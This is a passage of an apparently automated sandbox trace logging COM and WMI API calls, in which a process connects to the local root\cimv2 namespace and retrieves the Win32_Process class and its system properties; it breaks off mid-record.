WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ea80, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bc40c40) returned 0x0 [0134.953] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc40c40, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0134.953] WbemDefPath:IUnknown:Release (This=0x1bc40c40) returned 0x3 [0134.953] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0134.953] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0134.953] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ea80, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0134.953] WbemDefPath:IUnknown:Release (This=0x1bc3ea80) returned 0x2 [0134.953] WbemDefPath:IUnknown:Release (This=0x1bc3ea80) returned 0x1 [0134.953] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0134.953] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0134.953] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ea80, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bc3ea80) returned 0x0 [0134.954] WbemDefPath:IUnknown:AddRef (This=0x1bc3ea80) returned 0x3 [0134.954] WbemDefPath:IUnknown:Release (This=0x1bc3ea80) returned 0x2 [0134.954] WbemDefPath:IWbemPath:SetText (This=0x1bc3ea80, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0134.954] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ea80, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0134.954] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ea80, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0134.954] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ea80, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0134.954] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0134.954] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0134.954] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0134.954] IUnknown:Release (This=0x1a943398) returned 0x1 [0134.955] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bc40d40) returned 0x0 [0134.955] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc40d40, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0134.955] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc40d40, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bc40d60) returned 0x0 [0134.955] WbemLocator:IUnknown:Release (This=0x1bc40d40) returned 0x0 [0134.955] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc40d60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bc40d60) returned 0x0 [0134.955] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc40d60, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0134.955] WbemLocator:IUnknown:AddRef (This=0x1bc40d60) returned 0x3 [0134.955] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc40d60, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0134.955] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc40d60, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0134.955] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc40d60, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0134.955] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0134.955] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0134.955] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc40d60, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0134.955] WbemLocator:IUnknown:Release (This=0x1bc40d60) returned 0x2 [0134.955] WbemLocator:IUnknown:Release (This=0x1bc40d60) returned 0x1 [0134.956] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0134.956] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0134.956] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc40d60, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc40d60) returned 0x0 [0134.956] WbemLocator:IUnknown:AddRef (This=0x1bc40d60) returned 0x3 [0134.956] WbemLocator:IUnknown:Release (This=0x1bc40d60) returned 0x2 [0134.956] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ea80, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0134.956] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ea80, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0134.956] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ea80, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0134.956] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bc40d80) returned 0x0 [0134.956] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc40d80, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bc35fd0) returned 0x0 [0134.997] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc35fd0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1bc41f60) returned 0x0 [0134.998] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc41f60, pProxy=0x1bc35fd0, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0134.998] WbemLocator:IUnknown:Release (This=0x1bc41f60) returned 0x1 [0134.998] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc35fd0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1bc41fa0) returned 0x0 [0134.998] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc35fd0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1bc41f60) returned 0x0 [0134.998] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc41f60, pProxy=0x1bc35fd0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0134.998] WbemLocator:IUnknown:Release (This=0x1bc41f60) returned 0x2 [0134.998] WbemLocator:IUnknown:Release (This=0x1bc41fa0) returned 0x1 [0134.998] CoTaskMemFree (pv=0x1bc1bbf0) [0134.998] WbemLocator:IUnknown:AddRef (This=0x1bc35fd0) returned 0x2 [0134.998] WbemLocator:IUnknown:Release (This=0x1bc40d80) returned 0x0 [0134.999] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0134.999] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0134.999] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc35fd0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1bc41f70) returned 0x0 [0134.999] WbemLocator:IRpcOptions:Query (in: This=0x1bc41f70, pPrx=0x1bc40de0, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0134.999] WbemLocator:IUnknown:Release (This=0x1bc41f70) returned 0x2 [0135.000] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0135.000] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0135.000] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc35fd0, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bc35fd0) returned 0x0 [0135.000] WbemLocator:IUnknown:Release (This=0x1bc35fd0) returned 0x2 [0135.000] SysStringLen (param_1=0x0) returned 0x0 [0135.000] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ea80, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0135.000] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ea80, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0135.000] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ea80, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0135.000] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1b160, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0135.000] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1b160, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0135.001] IWbemServices:GetObject (in: This=0x1bc35fd0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bc29790, ppCallResult=0x0) returned 0x0 [0135.029] IWbemClassObject:Get (in: This=0x1bc29790, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0135.029] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0135.029] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0135.029] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0135.029] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0135.029] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0135.029] IUnknown:Release (This=0x1a943398) returned 0x1 [0135.031] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bc40d80) returned 0x0 [0135.031] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40d80, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0135.031] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc40d80, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bc3eb40) returned 0x0 [0135.032] WbemDefPath:IUnknown:Release (This=0x1bc40d80) returned 0x0 [0135.032] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3eb40, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bc3eb40) returned 0x0 [0135.032] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3eb40, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0135.032] WbemDefPath:IUnknown:AddRef (This=0x1bc3eb40) returned 0x3 [0135.032] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3eb40, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0135.032] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3eb40, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0135.032] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3eb40, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bc40da0) returned 0x0 [0135.032] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc40da0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0135.032] WbemDefPath:IUnknown:Release (This=0x1bc40da0) returned 0x3 [0135.032] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0135.032] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0135.032] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3eb40, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0135.033] WbemDefPath:IUnknown:Release (This=0x1bc3eb40) returned 0x2 [0135.033] WbemDefPath:IUnknown:Release (This=0x1bc3eb40) returned 0x1 [0135.033] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0135.033] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0135.033] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3eb40, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc3eb40) returned 0x0 [0135.033] WbemDefPath:IUnknown:AddRef (This=0x1bc3eb40) returned 0x3 [0135.033] WbemDefPath:IUnknown:Release (This=0x1bc3eb40) returned 0x2 [0135.033] WbemDefPath:IWbemPath:SetText (This=0x1bc3eb40, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0135.033] IWbemClassObject:Get (in: This=0x1bc29790, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0135.033] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0135.033] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0135.033] IWbemClassObject:Get (in: This=0x1bc29790, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0135.033] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0135.034] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0135.034] IWbemClassObject:Get (in: This=0x1bc29790, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0135.034] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0135.034] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0135.034] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0135.034] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0135.034] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0135.034] IUnknown:Release (This=0x1a943398) returned 0x1 [0135.036] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc40f40) returned 0x0 [0135.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40f40, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0135.036] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc40f40, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc3ec00) returned 0x0 [0135.036] WbemDefPath:IUnknown:Release (This=0x1bc40f40) returned 0x0 [0135.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ec00, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: 